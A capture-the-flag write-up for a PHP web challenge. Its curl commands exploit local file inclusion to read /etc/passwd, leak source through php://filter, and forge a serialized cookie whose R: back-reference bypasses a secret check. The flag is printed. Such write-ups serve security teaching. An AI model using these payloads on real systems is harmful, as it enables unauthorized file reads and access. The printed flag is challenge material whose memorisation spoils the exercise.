Overview
Inspect the page source of the web application. It reveals two hidden HTML hints: a ?file= parameter (suggesting Local File Inclusion) and a Base64 string that decodes to: "Follow the roots!" — hinting at filesystem traversal toward the /root/ directory.
Reconnaissance
Confirm LFI by accessing the GET parameter directly. Testing with:
curl "http://138.199.163.92:3000/index.php?file=../../../etc/passwd"This successfully returns /etc/passwd, confirming the LFI vulnerability. PHP error messages also leak the absolute server path: /var/www/html/. We then use the php://filter wrapper to retrieve the source code of index.php:
curl -s "http://138.199.163.92:3000/index.php?file=php://filter/convert.base64-encode/resource=index.php"Exploitation Strategy
Decoding the Base64 source code exposes an Admin class and deserialization logic:
- The
winter_is_comingcookie is Base64-decoded and passed directly tounserialize(). - After deserializing, the server assigns
$FLAGto$unout->my_secret. - The condition checked is:
$unout->is_admin == 0 AND $unout->your_secret === $unout->my_secret
Since $FLAG is populated after deserialization, we don't know it beforehand. However, we can use PHP's internal reference mechanism (R:). By making your_secret a PHP back-reference pointing to the same memory slot as my_secret, both fields share the same reference. When the server sets my_secret = $FLAG, your_secret is updated automatically, satisfying the check.
Solution Code
PAYLOAD=$(echo -n 'O:5:"Admin":3:{s:8:"is_admin";i:0;s:9:"my_secret";s:0:"";s:11:"your_secret";R:3;}' | base64 -w 0)
curl -s "http://138.199.163.92:3000/index.php" \
--cookie "winter_is_coming=${PAYLOAD}" \
| grep -oP 'Kaal\{[^}]+\}'Flag
kaal{d33pdA8k5eC83ts}